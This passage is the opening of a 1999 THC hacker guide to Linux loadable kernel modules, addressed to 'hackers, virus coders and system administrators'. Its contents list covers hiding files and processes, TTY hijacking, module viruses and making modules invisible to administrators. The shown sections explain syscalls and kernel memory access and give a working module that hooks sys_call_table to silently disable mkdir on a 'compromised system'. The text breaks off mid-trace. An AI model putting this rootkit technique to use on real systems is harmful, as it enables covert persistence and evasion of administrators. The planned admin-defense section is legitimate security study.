(nearly) Complete Linux Loadable Kernel Modules

-the definitive guide for hackers, virus coders and system administrators-

written by pragmatic / THC, version 1.0
released 03/1999

CONTENTS

Introduction

I. Basics
1. What are LKMs
2. What are Syscalls
3. What is the Kernel-Symbol-Table
4. How to transform Kernel to User Space Memory
5. Ways to use user space like functions
6. List of daily needed Kernelspace Functions
7. What is the Kernel-Daemon
8. Creating your own Devices

II. Fun & Profit
1. How to intercept Syscalls
2. Interesting Syscalls to Intercept

2.1 Finding interesting systemcalls (the strace approach)
3. Confusing the kernel's System Table
4. Filesystem related Hacks
4.1 How to Hide Files
4.2 How to hide the file contents (totally)
4.3 How to hide certain file parts (a prototype implementation)
4.4 How to monitor redirect file operations
4.5 How to avoid any file owner problems
4.6 How to make a hacker-tools-directory unaccessible
4.7 How to change CHROOT Environments
5. Process related Hacks
5.1 How to hide any process
5.2 How to redirect Execution of files
6. Network (Socket) related Hacks
6.1 How to controll Socket Operations
7. Ways to TTY Hijacking
8. Virus writing with LKMs
8.1 How a LKM virus can infect any file (not just modules; prototype)
8.2 How can a LKM virus help us to get in
9. Making our LKM invisible & unremovable
10.Other ways of abusing the Kerneldaemon
11.How to check for presents of our LKM

III. Soltutions (for admins)
1. LKM Detector Theory & Ideas

1.1 Practical Example of a prototype Detector
1.2 Practical Example of a prototype password protected create_module(...)
2. Anti-LKM-Infector ideas
3 Make your programs untraceable (theory)
3.1 Practical Example of a prototype Anti-Tracer
4. Hardening the Linux Kernel with LKMs
4.1 Why should we allow arbitrary programs execution rights? (route's idea from Phrack implemented as LKM)
4.2 The Link Patch (Solar Designer's idea from Phrack implemented as LKM)
4.3 The /proc permission patch (route's idea from Phrack implemented as LKM)
4.4 The securelevel patch (route's idea from Phrack implemented as LKM)
4.5 The rawdisk patch

IV. Some Better Ideas (for hackers)
1. Tricks to beat admin LKMs
2. Patching the whole kernel - or creating the Hacker-OS

2.1 How to find kernel symbols in /dev/kmem
2.2 The new 'insmod' working without kernel support
3. Last words

V. The near future : Kernel 2.2
1. Main Difference for LKM writer's

VI. Last Words
1. The 'LKM story' or 'how to make a system plug & hack compatible'
2. Links to other Resources

Acknowledgements

Greets

Appendix

A - Source Codes

a) LKM Infection by Stealthf0rk/SVAT
b) Heroin - the classic one by Runar Jensen
c) LKM Hider / Socket Backdoor by plaguez
d) LKM TTY hijacking by halflife
e) AFHRM - the monitor tool by Michal Zalewski
f) CHROOT module trick by FLoW/HISPAHACK
g) Kernel Memory Patching by ?
h) Module insertion without native support by Silvio Cesare


Introduction

The use of Linux in server environments is growing from second to second. So hacking Linux becomes more interesting every day. One of the best techniques to attack a Linux system is using kernel code. Due to its feature called Loadable Kernel Modules (LKMs) it is possible to write code running in kernel space, which allows us to access very sensitive parts of the OS. There were some texts and files concerning LKM hacking before (Phrack, for example) which were very good. They introduced new ideas, new methodes and complete LKMs doing anything a hacker ever dreamed of. Also some public discussion (Newsgroups, Mailinglists) in 1998 were very interesting.
So why do I write again a text about LKMs. Well there are several reasons :

Please remember that new ideas are implemented as prototype modules (just for demonstration) which have to be improved in order to use them in the wild.
The main motivation of this text is giving everyone one big text covering the whole LKM problem. In appendix A I give you some existing LKMs plus a short description of their working (for beginners) and ways to use them.
The whole text (except part V) is based on a Linux 2.0.x machine (x86).I tested all programs and code fragments. The Linux system must have LKM support for using most code examples in this text. Only part IV will show some sources working without native LKM support. Most ideas in this text will also work on 2.2.x systems (perhaps you'll need some minor modification); but recall that kernel 2.2.x was just released (1/99) and most linux distribution still use 2.0.x (Redhat, SuSE, Caldera, ...). In April some some distributors like SuSE will present their kernel 2.2.x versions; so you won't need to know how to hack a 2.2.x kernel at the moment. Good administrators will also wait some months in order to get a more reliable 2.2.x kernel. [Note : Most systems just don't need kernel 2.2.x so they will continue using 2.0.x].
This text has a special section dealing with LKMs helping admins to secure the system. You (hacker) should also read this section, you must know everything the admins know and even more. You will also get some nice ideas from that section that could help you develope more advanced 'hacker-LKMs'. Just read the whole text !
And please remember : This text was only written for educational purpose. Any illegal action based on this text is your own problem.

I. Basics

1. What are LKMs

LKMs are Loadable Kernel Modules used by the Linux kernel to expand his functionality. The advantage of those LKMs : The can be loaded dynamically; there must be no recompilation of the whole kernel. Because of those features they are often used for specific device drivers (or filesystems) such as soundcards etc.
Every LKM consist of two basic functions (minimum) : int init_module(void) /*used for all initialition stuff*/ { ... } void cleanup_module(void) /*used for a clean shutdown*/ { ... } Loading a module - normally retricted to root - is managed by issuing the follwing command: # insmod module.o This command forces the System to do the following things : The Kernel-Symbols are explained in I.3 (Kernel-Symbol-Table).
So I think we can write our first little LKM just showing how it basicly works: #define MODULE #include <Linux/module.h> int init_module(void) { printk("<1>Hello World\n"); return 0; } void cleanup_module(void) { printk("<1>Bye, Bye"); } You may wonder why I used printk(...) not printf(...). Well Kernel-Programming is totally different from Userspace-Programming !
You only have a very restricted set of commands (see I.6). With those commands you cannot do much, so you will learn how to use lots of functions you know from your userspace applications helping you hacking the kernel. Just be patient, we have to do something else before...
The Example above can easily compiled by # gcc -c -O3 helloworld.c # insmod helloworld.o Ok, our module is loaded and showed us the famous text. Now you can check some commands showing you that your LKM really stays in kernel space.
# lsmod Module Pages Used by helloworld 1 0 This command reads the information in /proc/modules for showing you which modules are loaded at the moment. 'Pages' is the memory information (how many pages does this module fill); the 'Used by' field tells us how often the module is used in the System (reference count). The module can only be removed, when this counter is zero; after checking this, you can remove your module with # rmmod helloworld Ok, this was our first little (very little) step towards abusing LKMs. I always compared those LKMs to old DOS TSR Programs (yes there are many differences, I know), they were our gate to staying resident in memory and catching every interrupt we wanted. Microsoft's WIN 9x has something called VxD, which is also similar to LKMs (also many differences). The most interesting part of those resident programs is the ability to hook system functions, in the Linux world called systemcalls.

2. What are systemcalls

I hope you know, that every OS has some functions build into its kernel, which are used for every operation on that system.
The functions Linux uses are called systemcalls. They represent a transition from user to kernel space. Opening a file in user space is represented by the sys_open systemcall in kernel space. For a complete list of all systemcalls available on your System look at /usr/include/sys/syscall.h. The following list shows my syscall.h #ifndef _SYS_SYSCALL_H #define _SYS_SYSCALL_H #define SYS_setup 0 /* Used only by init, to get system going. */ #define SYS_exit 1 #define SYS_fork 2 #define SYS_read 3 #define SYS_write 4 #define SYS_open 5 #define SYS_close 6 #define SYS_waitpid 7 #define SYS_creat 8 #define SYS_link 9 #define SYS_unlink 10 #define SYS_execve 11 #define SYS_chdir 12 #define SYS_time 13 #define SYS_prev_mknod 14 #define SYS_chmod 15 #define SYS_chown 16 #define SYS_break 17 #define SYS_oldstat 18 #define SYS_lseek 19 #define SYS_getpid 20 #define SYS_mount 21 #define SYS_umount 22 #define SYS_setuid 23 #define SYS_getuid 24 #define SYS_stime 25 #define SYS_ptrace 26 #define SYS_alarm 27 #define SYS_oldfstat 28 #define SYS_pause 29 #define SYS_utime 30 #define SYS_stty 31 #define SYS_gtty 32 #define SYS_access 33 #define SYS_nice 34 #define SYS_ftime 35 #define SYS_sync 36 #define SYS_kill 37 #define SYS_rename 38 #define SYS_mkdir 39 #define SYS_rmdir 40 #define SYS_dup 41 #define SYS_pipe 42 #define SYS_times 43 #define SYS_prof 44 #define SYS_brk 45 #define SYS_setgid 46 #define SYS_getgid 47 #define SYS_signal 48 #define SYS_geteuid 49 #define SYS_getegid 50 #define SYS_acct 51 #define SYS_phys 52 #define SYS_lock 53 #define SYS_ioctl 54 #define SYS_fcntl 55 #define SYS_mpx 56 #define SYS_setpgid 57 #define SYS_ulimit 58 #define SYS_oldolduname 59 #define SYS_umask 60 #define SYS_chroot 61 #define SYS_prev_ustat 62 #define SYS_dup2 63 #define SYS_getppid 64 #define SYS_getpgrp 65 #define SYS_setsid 66 #define SYS_sigaction 67 #define SYS_siggetmask 68 #define SYS_sigsetmask 69 #define SYS_setreuid 70 #define SYS_setregid 71 #define SYS_sigsuspend 72 #define SYS_sigpending 73 #define SYS_sethostname 74 #define SYS_setrlimit 75 #define SYS_getrlimit 76 #define SYS_getrusage 77 #define SYS_gettimeofday 78 #define SYS_settimeofday 79 #define SYS_getgroups 80 #define SYS_setgroups 81 #define SYS_select 82 #define SYS_symlink 83 #define SYS_oldlstat 84 #define SYS_readlink 85 #define SYS_uselib 86 #define SYS_swapon 87 #define SYS_reboot 88 #define SYS_readdir 89 #define SYS_mmap 90 #define SYS_munmap 91 #define SYS_truncate 92 #define SYS_ftruncate 93 #define SYS_fchmod 94 #define SYS_fchown 95 #define SYS_getpriority 96 #define SYS_setpriority 97 #define SYS_profil 98 #define SYS_statfs 99 #define SYS_fstatfs 100 #define SYS_ioperm 101 #define SYS_socketcall 102 #define SYS_klog 103 #define SYS_setitimer 104 #define SYS_getitimer 105 #define SYS_prev_stat 106 #define SYS_prev_lstat 107 #define SYS_prev_fstat 108 #define SYS_olduname 109 #define SYS_iopl 110 #define SYS_vhangup 111 #define SYS_idle 112 #define SYS_vm86old 113 #define SYS_wait4 114 #define SYS_swapoff 115 #define SYS_sysinfo 116 #define SYS_ipc 117 #define SYS_fsync 118 #define SYS_sigreturn 119 #define SYS_clone 120 #define SYS_setdomainname 121 #define SYS_uname 122 #define SYS_modify_ldt 123 #define SYS_adjtimex 124 #define SYS_mprotect 125 #define SYS_sigprocmask 126 #define SYS_create_module 127 #define SYS_init_module 128 #define SYS_delete_module 129 #define SYS_get_kernel_syms 130 #define SYS_quotactl 131 #define SYS_getpgid 132 #define SYS_fchdir 133 #define SYS_bdflush 134 #define SYS_sysfs 135 #define SYS_personality 136 #define SYS_afs_syscall 137 /* Syscall for Andrew File System */ #define SYS_setfsuid 138 #define SYS_setfsgid 139 #define SYS__llseek 140 #define SYS_getdents 141 #define SYS__newselect 142 #define SYS_flock 143 #define SYS_syscall_flock SYS_flock #define SYS_msync 144 #define SYS_readv 145 #define SYS_syscall_readv SYS_readv #define SYS_writev 146 #define SYS_syscall_writev SYS_writev #define SYS_getsid 147 #define SYS_fdatasync 148 #define SYS__sysctl 149 #define SYS_mlock 150 #define SYS_munlock 151 #define SYS_mlockall 152 #define SYS_munlockall 153 #define SYS_sched_setparam 154 #define SYS_sched_getparam 155 #define SYS_sched_setscheduler 156 #define SYS_sched_getscheduler 157 #define SYS_sched_yield 158 #define SYS_sched_get_priority_max 159 #define SYS_sched_get_priority_min 160 #define SYS_sched_rr_get_interval 161 #define SYS_nanosleep 162 #define SYS_mremap 163 #define SYS_setresuid 164 #define SYS_getresuid 165 #define SYS_vm86 166 #define SYS_query_module 167 #define SYS_poll 168 #define SYS_syscall_poll SYS_poll #endif /* <sys/syscall.h> */ Every systemcall has a defined number (see listing above), which is actually used to make the systemcall.
The Kernel uses interrupt 0x80 for managing every systemcall. The systemcall number and any arguments are moved to some registers (eax for systemcall number, for example).
The systemcall number is an index in an array of a kernel structure called sys_call_table[]. This structure maps the systemcall numbers to the needed service function.
Ok, this should be enough knowledge to continue reading. The following table lists the most interesting systemcalls plus a short description. Believe me, you have to know the exact working of those systemcalls in order to make really useful LKMs.
systemcall description
int sys_brk(unsigned long new_brk); changes the size of used DS (data segment) ->this systemcall will be discussed in I.4
int sys_fork(struct pt_regs regs); systemcall for the well-know fork() function in user space
int sys_getuid ()
int sys_setuid (uid_t uid)
...
systemcalls for managing UID etc.
int sys_get_kernel_sysms(struct kernel_sym *table) systemcall for accessing the kernel system table (-> I.3)
int sys_sethostname (char *name, int len);
int sys_gethostname (char *name, int len);
sys_sethostname is responsible for setting the hostname, and sys_gethostname for retrieving it
int sys_chdir (const char *path);
int sys_fchdir (unsigned int fd);
both function are used for setting the current directory (cd ...)
int sys_chmod (const char *filename, mode_t mode);
int sys_chown (const char *filename, mode_t mode);
int sys_fchmod (unsigned int fildes, mode_t mode);
int sys_fchown (unsigned int fildes, mode_t mode);
functions for managing permissions and so on
int sys_chroot (const char *filename); sets root directory for calling process
int sys_execve (struct pt_regs regs); important systemcall -> it is responsible for executing file (pt_regs is the register stack)
long sys_fcntl (unsigned int fd, unsigned int cmd, unsigned long arg); changing characteristics of fd (opened file descr.)
int sys_link (const char *oldname, const char *newname);
int sym_link (const char *oldname, const char *newname);
int sys_unlink (const char *name);
systemcalls for hard- / softlinks management
int sys_rename (const char *oldname, const char *newname); file renaming
int sys_rmdir (const char* name);
int sys_mkdir (const *char filename, int mode);
creating & removing directories
int sys_open (const char *filename, int mode);
int sys_close (unsigned int fd);
everything concering opening files (also creation), and also closing them
int sys_read (unsigned int fd, char *buf, unsigned int count);
int sys_write (unsigned int fd, char *buf, unsigned int count);
systemcalls for writing & reading from Files
int sys_getdents (unsigned int fd, struct dirent *dirent, unsigned int count); systemcall which retrievs file listing (ls ... command)
int sys_readlink (const char *path, char *buf, int bufsize); reading symbolic links
int sys_selectt (int n, fd_set *inp, fd_set *outp, fd_set *exp, struct timeval *tvp); multiplexing of I/O operations
sys_socketcall (int call, unsigned long args); socket functions
unsigned long sys_create_module (char *name, unsigned long size);
int sys_delete_module (char *name);
int sys_query_module (const char *name, int which, void *buf, size_t bufsize, size_t *ret);
used for loading / unloading LKMs and querying
In my opinion these are the most interesting systemcalls for any hacking intention, of course it is possible that you may need something special on your rooted system, but the average hacker has a plenty of possibilities with the listing above. In part II you will learn how to use the systemcalls for your profit.

3. What is the Kernel-Symbol-Table

Ok, we understand the basic concept of systemcalls and modules. But there is another very important point we need to understand - the Kernel Symbol Table. Take a look at /proc/ksyms. Every entry in this file represents an exported (public) Kernel Symbol, which can be accessed by our LKM. Take a deep look in that file, you will find many interesting things in it.
This file is really very interesting, and can help us to see what our LKM can get; but there is one problem. Every Symbol used in our LKM (like a function) is also exportet to the public, and is also listed in that file. So an experienced admin could discover our little LKM and kill it.
There are lots of methods to prevent the admin from seeing our LKM, look at section II.
The methods mentioned in II can be called 'Hacks', but when you take a look at the contents of section II you won't find any reference to 'Keeping LKM Symbols out of /proc/ksyms'. The reason for not mentioning this problem in II is the following :
you won't need a trick to keep your module symbols away from /proc/ksyms. LKM devolopers are able to use the following piece of regular code to limit the exported symbols of their module:
static struct symbol_table module_syms= { /*we define our own symbol table !*/ #include <linux/symtab_begin.h> /*symbols we want to export, do we ?*/ ... }; register_symtab(&module_syms); /*do the actual registration*/ As I said, we don't want to export any symbols to the public, so we use the following construction : register_symtab(NULL); This line must be inserted in the init_module() function, remember this !

4. How to transform Kernel to User Space Memory

Till now this essay was very very basic and easy. Now we come to stuff more difficult (but not more advanced).
We have many advantages because of coding in kernel space, but we also have some disadvantages. systemcalls get their arguments from user space (systemcalls are implemented in wrappers like libc), but our LKM runs in kernel space. In section II you will see that it is very important for us to check the arguments of certain systemcalls in order to act the right way. But how can we access an argument allocated in user space from our kernel space module ?
Solution : We have to make a transition.
This may sound a bit strange for non-kernel-hackers, but is really easy. Take the following systemcall :
int sys_chdir (const char *path) Imagine the system calling it, and we intercept that call (we will learn this in section II). We want to check the path the user wants to set, so we have to access const char *path. If you try to access the path variable directly like printk("<1>%s\n", path); you will get real problems...
Remember you are in kernel space, you cannot read user space memory easily. Well in Phrack 52 you get a solution by plaguez, which is specialized for strings He uses a kernel mode function (macro) for retrieving user space memory bytes : #include <asm/segment.h> get_user(pointer); Giving this function a pointer to our *path location helps ous getting the bytes from user space memory to kernel space. Look at the implemtation made by plaguez for moving strings from user to kernel space:
char *strncpy_fromfs(char *dest, const char *src, int n) { char *tmp = src; int compt = 0; do { dest[compt++] = __get_user(tmp++, 1); } while ((dest[compt - 1] != '\0') && (compt != n)); return dest; } If we want to convert our *path variable we can use the following piece of kernel code : char *kernel_space_path; kernel_space_path = (char *) kmalloc(100, GFP_KERNEL); /*allocating memory in kernel space*/ (void) strncpy_fromfs(test, path, 20); /*calling plaguez's function*/ printk("<1>%s\n", kernel_space_path); /*now we can use the data for whatever we want*/ kfree(test); /*remember freeing the memory*/ The code above works very fine. For a general transition it is too complicated; plaguez used it only for strings (the functions is made only for string copies). For normal data transitions the following function is the easiest way of doing: #include <asm/segment.h> void memcpy_fromfs(void *to, const void *from, unsigned long count); Both functions are obviously based on the same kind of commands, but the second one is nearly the same as plaguez's newly defined function. I would recommand using memcpy_fromfs(...) for general data transitions and plaguez's one for string copying tasks.
Now we know how to convert from user space memory to kernel space. But what about the other direction ? This is a bit harder, because we cannot easily allocate user space memory from our kernel space position. If we could manage this problem we could use
#include <asm/segment.h> void memcpy_tofs(void *to, const void *from, unsigned long count); doing the actual converting. But how to allocate user space for the *to pointer? plaguez's Phrack essay gives us the best solution : /*we need brk systemcall*/ static inline _syscall1(int, brk, void *, end_data_segment); ... int ret, tmp; char *truc = OLDEXEC; char *nouveau = NEWEXEC; unsigned long mmm; mmm = current->mm->brk; ret = brk((void *) (mmm + 256)); if (ret < 0) return ret; memcpy_tofs((void *) (mmm + 2), nouveau, strlen(nouveau) + 1); This is a very nice trick used here. current is a pointer to the task structure of the current process; mm is the pointer to the mm_struct - responsible for the memory management of that process. By using the brk-systemcall on current-> mm->brk we are able to increase the size of the unused area of the datasegment. And as we all know allocating memory is done by playing with the datasegment, so by increasing the unused area size, we have allocated some piece of memory for the current process. This memory can be used for copying the kernel space memory to user space (of the current process).
You may wonder about the first line from the code above. This line helps us to use user space like functions in kernel space.Every user space function provided to us (like fork, brk, open, read, write, ...) is represented by a _syscall(...) macro. So we can construct the exact syscall-macro for a certain user space function (represented by a systemcall); here for brk(...).
See I.5 for a detailed explanation.

5. Ways to use user space like functions

As you saw in I.4 we used a syscall macro for constructing our own brk call, which is like the one we know from user space (->brk(2)). The truth about the user space library funtions (not all) is that they all are implemented through such syscall macros. The following code shows the _syscall1(..) macro used in I.4 to construct the brk(..) function (taken from /asm/unistd.h).
#define _syscall1(type,name,type1,arg1) \ type name(type1 arg1) \ { \ long __res; \ __asm__ volatile ("int $0x80" \ : "=a" (__res) \ : "0" (__NR_##name),"b" ((long)(arg1))); \ if (__res >= 0) \ return (type) __res; \ errno = -__res; \ return -1; \ } You don't need to understand this code in its full function, it just calls interrupt 0x80 with the arguments provided by the _syscall1 parameters (-> I.2). name stands for the systemcall we need (the name is expanded to __NR_name, which is defined in /asm/unistd.h). This way we implemted the brk function. Other functions with a different count of arguments are implemented through other macros (_syscallX, where X stands for the number of arguments).
I personally use another way of implementing functions; look at the following example : int (*open)(char *, int, int); /*declare a prototype*/ open = sys_call_table[SYS_open]; /*you can also use __NR_open*/ This way you don't need to use any syscall macro, you just use the function pointer from the sys_call_table. While searching the web, I found that this way of contructing user space like functions is also used in the famous LKM infector by SVAT. In my opinion this is the better solution, but test it and judge yourself.
Be careful when supplying arguments for those systemcalls, they need them in user space not from your kernel space position. Read I.4 for ways to bring your kernel space data to user space memory.
A very easy way doing this (the best way in my opinion) is playing with the needed registers. You have to know that Linux uses segment selectors to differentiate between kernel space, user space and so on. Arguments used with systemcalls which were issued from user space are somewhere in the data segment selector (DS) range. [I did not mention this in I.4,because it fits more in this section.]
DS can be retrieved by using get_ds() from asm/segment.h. So the data used as parameters by systemcalls can only be accessed from kernel space if we set the segment selector used for the user segment by the kernel to the needed DS value. This can be done by using set_fs(...). But be careful,you have to restore FS after you accessed the argument of the systemcall. So let's look at a code fragment showing something useful :
->filename is in our kernel space; a string we just created, for example unsigned long old_fs_value=get_fs(); set_fs(get_ds); /*after this we can access the user space data*/ open(filename, O_CREAT|O_RDWR|O_EXCL, 0640); set_fs(old_fs_value); /*restore fs...*/ In my opinion this is the easiet / fastest way of solving the problem, but test it yourself (again).
Remember that the functions I showed till now (brk, open) are all implemented through a single systemcall. But there are also groups of user space functions which are summarized into one systemcall. Take a look at the listing of interesting systemcalls (I.2); the sys_socketcall, for example, implements every function concering sockets (creation, closing, sending, receiving,...). So be careful when constructing your functions; always take a look at the kernel sources.

6. List of daily needed Kernelspace Functions

I introduced the printk(..) function in the beginning of this text. It is a function everyone can use in kernel space, it is a so called kernel function. Those functions are made for kernel developers who need complex functions which are normally only available through a library function. The following listing shows the most important kernel functions we often need :
function/macro description
int sprintf (char *buf, const char *fmt, ...);
int vsprintf (char *buf, const char *fmt, va_list args);
functions for packing data into strings
printk (...) the same as printf in user space
void *memset (void *s, char c, size_t count);
void *memcpy (void *dest, const void *src, size_t count);
char *bcopy (const char *src, char *dest, int count);
void *memmove (void *dest, const void *src, size_t count);
int memcmp (const void *cs, const void *ct, size_t count);
void *memscan (void *addr, unsigned char c, size_t size);
memory functions
int register_symtab (struct symbol_table *intab); see I.1
char *strcpy (char *dest, const char *src);
char *strncpy (char *dest, const char *src, size_t count);
char *strcat (char *dest, const char *src);
char *strncat (char *dest, const char *src, size_t count);
int strcmp (const char *cs, const char *ct);
int strncmp (const char *cs,const char *ct, size_t count);
char *strchr (const char *s, char c);
size_t strlen (const char *s);
size_t strnlen (const char *s, size_t count);
size_t strspn (const char *s, const char *accept);
char *strpbrk (const char *cs, const char *ct);
char *strtok (char *s, const char *ct);
string compare functions etc.
unsigned long simple_strtoul (const char *cp, char **endp, unsigned int base); converting strings to number
get_user_byte (addr);
put_user_byte (x, addr);
get_user_word (addr);
put_user_word (x, addr);
get_user_long (addr);
put_user_long (x, addr);
functions for accessing user memory
suser();
fsuser();
checking for SuperUser rights
int register_chrdev (unsigned int major, const char *name, struct file_o perations *fops);
int unregister_chrdev (unsigned int major, const char *name);
int register_blkdev (unsigned int major, const char *name, struct file_o perations *fops);
int unregister_blkdev (unsigned int major, const char *name);
functions which register device driver
..._chrdev -> character devices
..._blkdev -> block devices
Please remember that some of those function may also be made available through the method mentoined in I.5. But you should understand, that it is not very useful contructing nice user space like functions, when the kernel gives them to us for free.
Later on you will see that these functions (especially string comaprisons) are very important for our purposes.

7. What is the Kernel-Daemon

Finally we nearly reached the end of the basic part. Now I will explain the working of the Kernel-Daemon (/sbin/kerneld). As the name suggest this is a process in user space waiting for some action. First of all you must know that it is necessary to activite the kerneld option while building the kernel, in order to use kerneld's features. Kerneld works the following way : If the kernel wants to access a resource (in kernel space of course), which is not present at that moment, he does not produce an error. Instead of doing this he asks kerneld for that resource. If kerneld is able to provide the resource, it loads the required LKM and the kernel can continue working. By using this scheme it is possible to load and unload LKMs only when they are really needed / not needed. It should be clear that this work needs to be done both in user and in kernel space.
Kerneld exists in user space. If the kernel requests a new module this daemon receives a string from the kernel telling it which module to load.It is possible that the kenel sends a generic name (instead of the name of object file) like eth0. In this case the system need to lookup /etc/modules.conf for alias lines. Those lines match generic names to the LKM required on that system.
The following line says that eth0 is represented by a DEC Tulip driver LKM :
# /etc/modules.conf # or /etc/conf.modules - this differs alias eth0 tulip This was the user space side represented by the kerneld daemon. The kernel space part is mainly represented by 4 functions. These functions are all based on a call to kerneld_send. For the exact way kerneld_send is involved by calling those functions look at linux/kerneld.h. The following table lists the 4 functions mentioned above :
function description
int sprintf (char *buf, const char *fmt, ...);
int vsprintf (char *buf, const char *fmt, va_list args);
functions for packing data into strings
int request_module (const char *name); says kerneld that the kernel requires a certain module (given a name or gerneric ID / name)
int release_module (const char* name, int waitflag); unload a module
int delayed_release_module (const char *name); delayed unload
int cancel_release_module (const char *name); cancels a call of delayed_release_module
Note : Kernel 2.2 uses another scheme for requesting modules. Take a look at part V.

8. Creating your own Devices

Appendix A introduces a TTY Hijacking util, which will use a device to log its results. So we have to look at a very basic example of a device driver. Look at the following code (this is a very basic driver, I just wrote it for demonstration, it does implement nearly no operations...) :
#define MODULE #define __KERNEL__ #include <linux/module.h> #include <linux/kernel.h> #include <asm/unistd.h> #include <sys/syscall.h> #include <sys/types.h> #include <asm/fcntl.h> #include <asm/errno.h> #include <linux/types.h> #include <linux/dirent.h> #include <sys/mman.h> #include <linux/string.h> #include <linux/fs.h> #include <linux/malloc.h> /*just a dummy for demonstration*/ static int driver_open(struct inode *i, struct file *f) { printk("<1>Open Function\n"); return 0; } /*register every function which will be provided by our driver*/ static struct file_operations fops = { NULL, /*lseek*/ NULL, /*read*/ NULL, /*write*/ NULL, /*readdir*/ NULL, /*select*/ NULL, /*ioctl*/ NULL, /*mmap*/ driver_open, /*open, take a look at my dummy open function*/ NULL, /*release*/ NULL /*fsync...*/ }; int init_module(void) { /*register driver with major 40 and the name driver*/ if(register_chrdev(40, "driver", &fops)) return -EIO; return 0; } void cleanup_module(void) { /*unregister our driver*/ unregister_chrdev(40, "driver"); } The most important important function is register_chrdev(...) which registers our driver with the major number 40. If you want to access this driver,do the following : # mknode /dev/driver c 40 0 # insmod driver.o After this you can access that device (but i did not implement any functions due to lack of time...). The file_operations structure provides every function (operation) which our driver will provide to the system. As you can see I did only implement a very (!) basic dummy function just printing something. It should be clear that you can implement your own devices in a very easy way by using the methods above. Just do some experiments. If you log some data (key strokes, for example) you can build a buffer in your driver that exports its contents through the device interface).

II. Fun & Profit

1. How to intercept Syscalls

Now we start abusing the LKM scheme. Normally LKMs are used to extend the kernel (especially hardware drivers). Our 'Hacks' will do something different, they will intercept systemcalls and modify them in order to change the way the system reacts on certain commands.
The following module makes it impossible for any user on the compromised system to create directories. This is just a little demonstration to show the way we follow.
#define MODULE #define __KERNEL__ #include <linux/module.h> #include <linux/kernel.h> #include <asm/unistd.h> #include <sys/syscall.h> #include <sys/types.h> #include <asm/fcntl.h> #include <asm/errno.h> #include <linux/types.h> #include <linux/dirent.h> #include <sys/mman.h> #include <linux/string.h> #include <linux/fs.h> #include <linux/malloc.h> extern void* sys_call_table[]; /*sys_call_table is exported, so we can access it*/ int (*orig_mkdir)(const char *path); /*the original systemcall*/ int hacked_mkdir(const char *path) { return 0; /*everything is ok, but he new systemcall does nothing*/ } int init_module(void) /*module setup*/ { orig_mkdir=sys_call_table[SYS_mkdir]; sys_call_table[SYS_mkdir]=hacked_mkdir; return 0; } void cleanup_module(void) /*module shutdown*/ { sys_call_table[SYS_mkdir]=orig_mkdir; /*set mkdir syscall to the origal one*/ } Compile this module and start it (see I.1). Try to make a directory, it will not work.Because of returning 0 (standing for OK) we don't get an error message. After removing the module making directories is possible again. As you can see, we only need to change the corresponding entry in sys_call_table (see I.2) for intercepting a kernel systemcall.
The general approach to intercepting a systemcall is outlined in the following list :
You will recognize that it is very useful to save the old systemcall function pointer, because you will need it in your hacked one for emulating the original call. The first question you have to face when writing a 'Hack-LKM ' is :
'Which systemcall should I intercept'.

2. Interesting Syscalls to Intercept

Perhaps you are not a 'kernel god' and you don't know every systemcall for every user space function an application or command can use. So I will give you some hints on finding your systemcalls to take control over.
  1. read source code. On systems like Linux you can have the source code on nearly any program a user (admin) can use. Once you have found a basic function like dup, open, write, ... go to b
  2. take a look at include/sys/syscall.h (see I.2). Try to find a directly corresponding systemcall (search for dup -> you will find SYS_dup; search for write -> you will find SYS_write; ...). If this does not work got to c
  3. some calls like socket, send, receive, ... are implemented through one systemcall - as I said before. Take a look at the include file mentioned for related systemcalls.
Remember not every C-lib function is a systemcall ! Most functions are totally unrelated to any systemcalls !
A little more experienced hackers should take a look at the systemcall listing in I.2 which provides enough information. It should be clear that User ID management is implemented through the uid-systemcalls etc. If you really want to be sure you can also take a look at the library sources / kernel sources.
The hardest problem is an admin writing its own applications for checking system integrity / security. The problem concerning those programs is the lack of source code. We cannot say how this program exactly works and which systemcalls we have to intercept in order to hide our presents / tools. It may even be possible that he introduced a LKM hiding itself which implements cool hacker-like systemcalls for checking the system security (the admins often use hacker techniques to defend their system...). So how do we proceed.

2.1 Finding interesting systemcalls (the strace approach)

Let's say you know the super-admin program used to check the system (this can be done in some ways,like TTY hijacking (see II.9 / Appendix A), the only problem is that you need to hide your presents from the super-admin program until that point..).
So run the program (perhaps you have to be root to execute it) using strace. # strace super_admin_proggy This will give you a really nice output of every systemcall made by that program including the systemcalls which may be added by the admin through his hacking LKM (could be possible). I don't have a super-admin-proggy for showing you a sample output, but take a look at the output of 'strace whoami' : execve("/usr/bin/whoami", ["whoami"], [/* 50 vars */]) = 0 mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40007000 mprotect(0x40000000, 20673, PROT_READ|PROT_WRITE|PROT_EXEC) = 0 mprotect(0x8048000, 6324, PROT_READ|PROT_WRITE|PROT_EXEC) = 0 stat("/etc/ld.so.cache", {st_mode=S_IFREG|0644, st_size=13363, ...}) = 0 open("/etc/ld.so.cache", O_RDONLY) = 3 mmap(0, 13363, PROT_READ, MAP_SHARED, 3, 0) = 0x40008000 close(3) = 0 stat("/etc/ld.so.preload", 0xbffff780) = -1 ENOENT (No such file or directory) open("/lib/libc.so.5", O_RDONLY) = 3 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3"..., 4096) = 4096 mmap(0, 761856, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4000c000 mmap(0x4000c000, 530945, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED, 3, 0) = 0x4000c000 mmap(0x4008e000, 21648, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0x81000) = 0x4008e000 mmap(0x40094000, 204536, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40094000 close(3) = 0 mprotect(0x4000c000, 530945, PROT_READ|PROT_WRITE|PROT_EXEC) = 0 munmap(0x40008000, 13363) = 0 mprotect(0x8048000, 6324, PROT_READ|PROT_EXEC) = 0 mprotect(0x4000c000, 530945, PROT_READ|PROT_EXEC) = 0 mprotect(0x40000000, 20673, PROT_READ|PROT_EXEC) = 0 personality(PER_LINUX) = 0 geteuid() = 500 getuid() = 500 getgid() = 100 getegid() = 100 brk(0x804aa48) = 0x804aa48 brk(0x804b000) = 0x804b000 open("/usr/share/locale/locale.alias", O_RDONLY) = 3 fstat(3, {st_mode=S_IFREG|0644, st_size=2005, ...}) = 0 mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 